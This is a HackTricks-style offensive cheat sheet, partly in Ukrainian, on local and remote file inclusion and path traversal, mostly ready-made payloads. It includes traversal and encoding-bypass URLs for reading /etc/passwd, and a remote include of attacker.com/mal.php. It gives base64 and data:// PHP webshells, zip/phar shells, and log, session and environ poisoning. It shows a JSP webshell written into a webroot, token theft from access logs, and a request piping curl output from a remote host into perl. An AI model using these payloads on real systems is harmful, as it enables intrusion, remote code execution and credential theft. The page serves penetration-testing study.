File Inclusion/Path traversal
Reading time: 28 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
File Inclusion
Remote File Inclusion (RFI): Файл завантажується з віддаленого сервера (Найкраще: ви можете написати код, і сервер його виконає). In php це disabled за замовчуванням (allow_url_include).
Local File Inclusion (LFI): Сервер завантажує локальний файл.
Вразливість виникає, коли користувач якимось чином може контролювати файл, який сервер збирається завантажити.
Вразливі PHP functions: require, require_once, include, include_once
Цікавий інструмент для експлуатації цієї вразливості: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Об’єднавши кілька *nix LFI списків і додавши більше шляхів, я створив цей:
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
Спробуйте також замінити /
на \
Спробуйте також додати ../../../../../
Список, що використовує кілька технік для знаходження файлу /etc/password (щоб перевірити, чи існує вразливість), можна знайти here
Windows
Злиття різних wordlists:
Спробуйте також замінити /
на \
Спробуйте також видалити C:/
і додати ../../../../../
Список, що використовує кілька технік для знаходження файлу /boot.ini (щоб перевірити, чи існує вразливість), можна знайти here
OS X
Перевірте LFI-список для Linux.
Основи LFI та обходи
Усі приклади призначені для Local File Inclusion, але їх також можна застосувати до Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traversal sequences, видалені нерекурсивно
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Bypass додавання додаткових символів у кінець переданого рядка (bypass of: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
Це вирішено з PHP 5.4
Кодування
Ви можете використовувати нестандартні кодування, такі як double URL encode (та інші):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
З існуючої папки
Можливо, back-end перевіряє шлях до папки:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Дослідження директорій файлової системи на сервері
Файлову систему сервера можна рекурсивно досліджувати не лише для виявлення файлів, але й директорій, використовуючи певні техніки. Цей процес передбачає визначення глибини директорії та перевірку на існування конкретних папок. Нижче наведено детальний метод для досягнення цього:
- Визначте глибину директорії: Визначте глибину поточної директорії, успішно отримавши файл
/etc/passwd
(застосовується, якщо сервер на базі Linux). Приклад URL може бути структурований таким чином, що вказує на глибину три:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Перевірка папок: Додайте ім'я підозрюваної папки (наприклад,
private
) до URL, потім перейдіть назад до/etc/passwd
. Додатковий рівень каталогу вимагає збільшити глибину на один:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Інтерпретація результатів: Відповідь сервера вказує, чи існує папка:
- Помилка / Немає виводу: Папка
private
ймовірно не існує за вказаним шляхом. - Вміст
/etc/passwd
: Наявність папкиprivate
підтверджується.
- Рекурсивне дослідження: Знайдені папки можна додатково досліджувати на наявність підкаталогів або файлів, використовуючи ту ж техніку або традиційні методи Local File Inclusion (LFI).
Для дослідження директорій у різних місцях файлової системи відповідно скорегуйте payload. Наприклад, щоб перевірити, чи містить /var/www/
папку private
(припускаючи, що поточна директорія має глибину 3), використайте:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation — метод, що використовується для маніпулювання шляхами до файлів у веб-застосунках. Його часто застосовують для доступу до обмежених файлів, обходячи певні заходи безпеки, які додають додаткові символи в кінець шляхів до файлів. Мета — сконструювати шлях до файлу, який, після модифікації заходом безпеки, усе ще вказуватиме на потрібний файл.
In PHP, різні подання шляху до файлу можуть вважатися еквівалентними через природу файлової системи. For instance:
/etc/passwd
,/etc//passwd
,/etc/./passwd
, and/etc/passwd/
are all treated as the same path.- When the last 6 characters are
passwd
, appending a/
(making itpasswd/
) doesn't change the targeted file. - Similarly, if
.php
is appended to a file path (likeshellcode.php
), adding a/.
at the end will not alter the file being accessed.
Наведені приклади демонструють, як використовувати path truncation для доступу до /etc/passwd
, поширеної мети через її конфіденційний вміст (інформацію про облікові записи користувачів):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
У таких сценаріях кількість необхідних послідовностей ../
може становити близько 2027, але це число може змінюватися залежно від конфігурації сервера.
- Використання крапкових сегментів і додаткових символів: Послідовності обходу (
../
) у поєднанні з додатковими крапковими сегментами та символами можуть використовуватися для навігації файловою системою, фактично ігноруючи рядки, які додає сервер. - Визначення необхідної кількості послідовностей: Методом проб і помилок можна знайти точну кількість
../
послідовностей, необхідних для переходу до кореневого каталогу, а потім до/etc/passwd
, забезпечивши нейтралізацію доданих рядків (наприклад,.php
), але збереження бажаного шляху (/etc/passwd
). - Початок з фейкового каталогу: Звичайною практикою є початок шляху з неіснуючого каталогу (наприклад,
a/
). Цю техніку використовують як запобіжний захід або щоб виконати вимоги логіки розбору шляху сервером.
При використанні технік усікання шляху важливо розуміти поведінку розбору шляху сервером і структуру файлової системи. Кожен сценарій може вимагати різного підходу, тому часто необхідне тестування для знаходження найефективнішого методу.
This vulnerability was corrected in PHP 5.3.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
У php це вимкнено за замовчуванням, оскільки allow_url_include
встановлено в Off. Воно має бути On для того, щоб це працювало, і в такому випадку ви можете включити PHP-файл із вашого сервера та отримати RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Якщо з якоїсь причини allow_url_include
увімкнено, але PHP фільтрує доступ до зовнішніх веб-сторінок, за цим дописом, ви можете, наприклад, використати data-протокол з base64, щоб декодувати b64 PHP-код та отримати RCE:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
tip
У попередньому коді кінцевий +.txt
був доданий, тому що зловмиснику потрібен був рядок, який закінчується на .txt
, тож рядок закінчується ним і після декодування b64 ця частина поверне лише сміття, а справжній код PHP буде включений (і, отже, виконаний).
Інший приклад без використання протоколу php://
буде:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python кореневий елемент
У python у code, як у цьому:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Якщо користувач передає absolute path до file_name
, попередній шлях просто видаляється:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Це очікувана поведінка відповідно до the docs:
Якщо компонент є абсолютним шляхом, усі попередні компоненти відкидаються, і з'єднання продовжується починаючи з компонента абсолютного шляху.
Java Перелік каталогів
Схоже, якщо у вас є Path Traversal у Java і ви запитуєте каталог замість файлу, буде повернуто список вмісту каталогу. Це не відбуватиметься в інших мовах (afaik).
Топ 25 параметрів
Нижче наведено список топ 25 параметрів, які можуть бути вразливими до local file inclusion (LFI) (з link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI using PHP wrappers & protocols
php://filter
PHP-фільтри дозволяють виконувати базові операції модифікації над даними перед тим, як вони будуть прочитані чи записані. Існує 5 категорій фільтрів:
- String Filters:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Видаляє теги з даних (усе, що між символами "<" і ">")- Note that this filter has disappear from the modern versions of PHP
- Conversion Filters
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Перетворює в іншу кодування (convert.iconv.<input_enc>.<output_enc>
). Щоб отримати список усіх кодувань, які підтримуються, виконайте в консолі:iconv -l
warning
Зловживаючи фільтром перетворення convert.iconv.*
, ви можете згенерувати довільний текст, що може бути корисним для запису довільного тексту або змусити функцію на кшталт include обробляти довільний текст. Для докладнішої інформації див. LFI2RCE via php filters.
- Compression Filters
zlib.deflate
: Стискає вміст (useful if exfiltrating a lot of info)zlib.inflate
: Розпаковує дані- Encryption Filters
mcrypt.*
: Застарілийmdecrypt.*
: Застарілий- Інші фільтри
- Запустивши в PHP
var_dump(stream_get_filters());
, ви можете знайти кілька неочікуваних фільтрів: consumed
dechunk
: reverses HTTP chunked encodingconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
warning
Частина "php://filter" нечутлива до регістру
Використання php filters як oracle для читання довільних файлів
У цій публікації запропоновано техніку читання локального файлу без повернення вмісту сервером. Техніка базується на boolean exfiltration файлу (символ за символом) з використанням php filters як oracle. Це можливо, бо php filters можуть збільшити текст настільки, що php викине виняток.
В оригінальній публікації є детальне пояснення техніки, але тут — коротке резюме:
- Використовуйте codec
UCS-4LE
щоб залишити ведучий символ тексту на початку і зробити розмір рядка експоненційно більшим. - Це використовується для генерації тексту настільки великого, що коли початкову літеру вгадають правильно, php викличе помилку.
- Фільтр dechunk видалить усе, якщо перший char не є hexadecimal, тож можна визначити, чи перший char — hex.
- Це, у поєднанні з попереднім (та іншими фільтрами залежно від вгаданої літери), дозволить вгадати літеру на початку тексту, спостерігаючи, коли ми зробили достатньо трансформацій, щоб вона перестала бути hexadecimal. Якщо ж це hex, dechunk не видалить її і початкова "бомба" спричинить помилку php.
- Codec convert.iconv.UNICODE.CP930 перетворює кожну літеру на наступну (тому після цього codec: a -> b). Це дозволяє виявити, чи перша буква —
a
, наприклад, бо якщо застосувати 6 разів цей codec: a->b->c->d->e->f->g, літера більше не є hexadecimal, отже dechunk її не видалить, і php помилка спрацює через множення з початковою "бомбою". - Використовуючи інші трансформації, як-от rot13 на початку, можна leak інші символи, наприклад n, o, p, q, r (та інші codecs можна застосувати, щоб перемістити інші літери в hex діапазон).
- Коли початковий char — число, потрібно закодувати його в base64 і leak перші 2 літери, щоб leak число.
- Остаточна проблема — зрозуміти, як leak більше, ніж початкова літера. Використовуючи order memory filters типу convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE можна змінити порядок char'ів і отримати на першій позиції інші літери тексту.
- І щоб отримати further data ідея така: generate 2 bytes of junk data at the beginning за допомогою convert.iconv.UTF16.UTF16, застосувати UCS-4LE, щоб воно pivot with the next 2 bytes, і delete the data until the junk data (це видалить перші 2 bytes початкового тексту). Продовжуйте робити це, поки не досягнете бажаного біта для leak.
У публікації також був leak інструмент для автоматизації цього: php_filters_chain_oracle_exploit.
php://fd
Цей wrapper дозволяє отримати доступ до дескрипторів файлів, які процес має відкритими. Потенційно корисно для exfiltrate вміст відкритих файлів:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
You can also use php://stdin, php://stdout and php://stderr to access the файлові дескриптори 0, 1 and 2 respectively (не впевнений, наскільки це може бути корисно в атаці)
zip:// and rar://
Завантажте Zip або Rar файл з PHPShell всередині та отримайте до нього доступ.
Щоб можна було зловживати протоколом rar, він повинен бути спеціально активований.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Зверніть увагу, що цей протокол обмежений php конфігураціями allow_url_open
та allow_url_include
expect://
Expect має бути активовано. Ви можете виконувати код за допомогою цього:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Вкажіть ваш payload у POST параметрах:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Файл .phar
можна використати для виконання PHP-коду, коли веб-застосунок використовує функції на кшталт include
для завантаження файлів. Наведений нижче фрагмент PHP-коду демонструє створення файлу .phar
:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Щоб скомпілювати файл .phar
, слід виконати наступну команду:
php --define phar.readonly=0 create_path.php
Після виконання буде створено файл test.phar
, який потенційно може бути використаний для експлуатації Local File Inclusion (LFI).
Якщо LFI лише читає файли без виконання PHP-коду всередині через функції, такі як file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
або filesize()
, можна спробувати експлуатувати deserialization vulnerability. Ця вразливість пов'язана з читанням файлів через протокол phar
.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar
files, refer to the document linked below:
Phar Deserialization Exploitation Guide
CVE-2024-2961
Було можливо зловживати будь-яким довільним читанням файлу з PHP, яке підтримує php filters, щоб отримати RCE. Детальний опис можна found in this post.
Дуже коротке резюме: a 3 byte overflow в PHP heap був використаний, щоб змінити ланцюжок вільних чанків певного розміру задля можливості записати будь-що в будь-яку адресу, тому був доданий хук для виклику system
.
Було можливо алоціювати чанки специфічних розмірів, зловживаючи додатковими php filters.
More protocols
Дивіться більше можливих protocols to include here:
- php://memory and php://temp — Запис у пам'ять або у тимчасовий файл (не впевнений, як це може бути корисно в file inclusion attack)
- file:// — Доступ до локальної файлової системи
- http:// — Доступ до HTTP(s) URL-адрес
- ftp:// — Доступ до FTP(s) URL-адрес
- zlib:// — Потоки стиснення
- glob:// — Знаходження імен шляхів, що відповідають шаблону (не повертає нічого придатного для виводу, тож тут не надто корисний)
- ssh2:// — Secure Shell 2
- ogg:// — Аудіопотоки (не корисно для читання довільних файлів)
LFI via PHP's 'assert'
Ризики Local File Inclusion (LFI) у PHP особливо великі при роботі з функцією 'assert', яка може виконувати код всередині рядків. Це особливо проблематично, якщо введення, що містить символи directory traversal на кшталт "..", перевіряється, але не належним чином очищається.
Наприклад, PHP-код може бути написаний, щоб запобігти directory traversal наступним чином:
assert("strpos('$file', '..') === false") or die("");
Хоча це має на меті зупинити traversal, воно ненавмисно створює вектор для code injection. Щоб експлуатувати це для читання вмісту файлу, attacker може використати:
' and die(highlight_file('/etc/passwd')) or '
Аналогічно, для виконання довільних системних команд можна використовувати:
' and die(system("id")) or '
Важливо URL-encode these payloads.
PHP Blind Path Traversal
warning
This technique is relevant in cases where you control the file path of a PHP function that will access a file but you won't see the content of the file (like a simple call to file()
) but the content is not shown.
У this incredible post пояснюється, як blind path traversal може бути використаний через PHP filter для exfiltrate the content of a file via an error oracle.
Коротко, техніка використовує "UCS-4LE" кодування, щоб зробити вміст файлу настільки великим, що PHP function opening файл спричинить помилку.
Потім, щоб leak перший символ, використовується фільтр dechunk
разом з іншими, такими як base64 або rot13, і врешті-решт фільтри convert.iconv.UCS-4.UCS-4LE та convert.iconv.UTF16.UTF-16BE застосовуються, щоб помістити інші символи на початок і leak їх.
Functions that might be vulnerable: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (only target read only with this)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
For the technical details check the mentioned post!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
Коли серверний код, який обробляє/завантажує файли, будує шлях призначення на основі даних під контролем користувача (наприклад, ім'я файлу або URL) без канонізації та валідації, сегменти ..
і абсолютні шляхи можуть вийти за межі призначеного каталогу і спричинити arbitrary file write. Якщо ви можете помістити payload у веб-доступний каталог, зазвичай ви отримуєте unauthenticated RCE, розмістивши webshell.
Типовий робочий процес експлуатації:
- Знайти write primitive в ендпоінті або фонового воркера, який приймає path/filename і записує вміст на диск (наприклад, message-driven ingestion, XML/JSON command handlers, ZIP extractors тощо).
- Визначити веб-доступні каталоги. Типові приклади:
- Apache/PHP:
/var/www/html/
- Tomcat/Jetty:
<tomcat>/webapps/ROOT/
→ dropshell.jsp
- IIS:
C:\inetpub\wwwroot\
→ dropshell.aspx
- Сфабрикувати traversal path, який виходить за межі призначеного сховища в webroot, і включити в нього вміст вашого webshell.
- Перейти до розміщеного payload і виконати команди.
Примітки:
- Сервіс, що виконує запис і вразливий до цього, може слухати на ненаправленому HTTP-порті (наприклад, JMF XML listener на TCP 4004). Головний веб-портал (інший порт) пізніше буде сервити ваш payload.
- На Java-стеках ці операції запису файлів часто реалізовані простою конкатенацією
File
/Paths
. Відсутність канонізації/allow-listing — це основний дефект.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Заходи hardening, що усувають цей клас помилок:
- Приводьте шлях до канонічної форми та перевіряйте, що він є підкаталогом базового каталогу, внесеного до списку дозволених.
- Відхиляйте будь-які шляхи, що містять
..
, абсолютні корені або літери дисків; віддавайте перевагу згенерованим іменам файлів. - Запускайте writer від імені низькоправового облікового запису та розділяйте директорії для запису й корені, що обслуговуються.
Remote File Inclusion
Пояснювалося раніше, follow this link.
Via Apache/Nginx log file
Якщо сервер Apache або Nginx вразливий до LFI всередині include-функції, ви можете спробувати отримати доступ до /var/log/apache2/access.log
or /var/log/nginx/access.log
, записати в user agent або в GET parameter php shell типу <?php system($_GET['c']); ?>
і включити цей файл
warning
Зверніть увагу, що якщо ви використаєте double quotes для shell замість simple quotes, подвійні лапки будуть змінені на рядок "quote;", PHP згенерує помилку і нічого іншого виконано не буде.
Також переконайтесь, що ви правильно записали payload, інакше PHP буде помилково працювати щоразу при спробі завантажити файл логів і у вас не буде другого шансу.
Це також може бути зроблено в інших логах, але будьте обережні, код всередині логів може бути URL encoded і це може зіпсувати Shell. Заголовок authorisation "basic" містить "user:password" у Base64 і він декодується всередині логів. The PHPShell could be inserted inside this header.
Other possible log paths:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Прочитайте access logs, щоб добути GET-based auth tokens (token replay)
Багато додатків помилково приймають session/auth tokens через GET (наприклад, AuthenticationToken, token, sid). Якщо у вас є path traversal/LFI primitive для web server logs, ви можете вкрасти ці токени з access logs і replay їх, щоб повністю обійти authentication.
How-to:
- Use the traversal/LFI to read the web server access log. Common locations:
- /var/log/apache2/access.log, /var/log/httpd/access_log
- /var/log/nginx/access.log
- Some endpoints return file reads Base64-encoded. If so, decode locally and inspect the log lines.
- Grep for GET requests that include a token parameter and capture its value, then replay it against the application entry point.
Example flow (generic):
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
Декодуйте тіло, якщо воно в Base64, потім повторно використайте перехоплений token:
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target
Примітки:
- Tokens in URLs are logged by default; never accept bearer tokens via GET in production systems.
- Якщо додаток підтримує кілька імен токенів, шукайте типові ключі, такі як AuthenticationToken, token, sid, access_token.
- Оновіть будь-які tokens, які могли бути leaked у logs.
Через Email
Відправте лист на внутрішній акаунт (user@localhost), що містить ваш PHP payload, наприклад <?php echo system($_REQUEST["cmd"]); ?>
, і спробуйте include його в пошту користувача за шляхом /var/mail/<USERNAME>
або /var/spool/mail/<USERNAME>
Через /proc/*/fd/*
- Завантажте велику кількість shells (наприклад: 100)
- Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)
Через /proc/self/environ
Як і в log файлі, відправте payload в User-Agent — він буде відображений у файлі /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Через завантаження
Якщо ви можете завантажити файл, просто вставте shell payload у нього (наприклад: <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
Щоб файл залишався читабельним, найкраще вбудовувати це в метадані зображень/doc/pdf
Через Zip fie upload
Завантажте ZIP файл, що містить стиснутий PHP shell, і отримайте доступ:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Через PHP sessions
Перевірте, чи сайт використовує PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
У PHP ці сесії зберігаються в /var/lib/php5/sess\[PHPSESSID]_ файлах
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Встановіть cookie на <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Використайте LFI, щоб включити PHP session file
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Через ssh
Якщо ssh активний, перевірте, який користувач використовується (/proc/self/status & /etc/passwd) і спробуйте отримати доступ до <HOME>/.ssh/id_rsa
Через vsftpd логи
Логи FTP-сервера vsftpd знаходяться за адресою /var/log/vsftpd.log. Якщо існує вразливість Local File Inclusion (LFI) і є доступ до відкритого сервера vsftpd, можна розглянути такі кроки:
- Впровадьте PHP payload у поле username під час процесу входу.
- Після ін'єкції скористайтеся LFI для отримання логів сервера з /var/log/vsftpd.log.
Через php base64 filter (using base64)
Як показано в this статті, PHP base64 filter просто ігнорує символи, що не належать до base64. Цим можна скористатися, щоб обійти перевірку розширення файлу: якщо ви подасте base64, який закінчується на ".php", фільтр просто ігноруватиме "." і додасть "php" до base64. Ось приклад payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Через php filters (файл не потрібен)
This writeup пояснює, що ви можете використовувати php filters to generate arbitrary content як вивід. Що, по суті, означає, що ви можете generate arbitrary php code для include without needing to write його у файл.
Через segmentation fault
Завантажте файл, який буде збережений як тимчасовий в /tmp
, потім у тому ж запиті спричиніть segmentation fault, і тоді тимчасовий файл не буде видалений і ви зможете його знайти.
LFI2RCE via Segmentation Fault
Через збереження тимчасових файлів Nginx
Якщо ви знайшли Local File Inclusion і Nginx працює перед PHP, ви можете отримати RCE за допомогою наступної техніки:
Через PHP_SESSION_UPLOAD_PROGRESS
Якщо ви знайшли Local File Inclusion, навіть якщо у вас немає сесії і session.auto_start
встановлено в Off
. Якщо ви вкажете PHP_SESSION_UPLOAD_PROGRESS
у multipart POST даних, PHP увімкне сесію для вас. Це можна зловживати, щоб отримати RCE:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Через тимчасові завантаження файлів у Windows
Якщо ви знайшли Local File Inclusion і сервер працює на Windows, ви можете отримати RCE:
Через pearcmd.php
+ URL args
As explained in this post, the script /usr/local/lib/phppearcmd.php
exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an =
, it should be used as an argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.
The following request create a file in /tmp/hello.php
with the content <?=phpinfo()?>
:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Нижче показано, як зловживати вразливістю CRLF, щоб отримати RCE (з here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Через phpinfo() (file_uploads = on)
Якщо ви знайшли Local File Inclusion і файл, що викликає phpinfo() з file_uploads = on, ви можете отримати RCE:
Через compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Path Disclosure
Якщо ви знайшли Local File Inclusion і ви можете exfiltrate шлях тимчасового файлу, АЛЕ сервер перевіряє, чи файл, що буде включений, має PHP-маркери, ви можете спробувати обійти цю перевірку за допомогою цієї Race Condition:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Через eternal waiting + bruteforce
Якщо ви можете зловживати LFI, щоб upload temporary files і змусити сервер hang виконання PHP, ви могли б потім brute force імена файлів протягом годин, щоб знайти тимчасовий файл:
До Fatal Error
Якщо ви включите будь-який із файлів /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (Вам потрібно включити той самий файл двічі, щоб спричинити цю помилку).
Я не знаю, наскільки це корисно, але можливо.
Навіть якщо ви спричините PHP Fatal Error, тимчасові PHP-файли, які було завантажено, видаляються.
.png)
References
-
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
-
When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.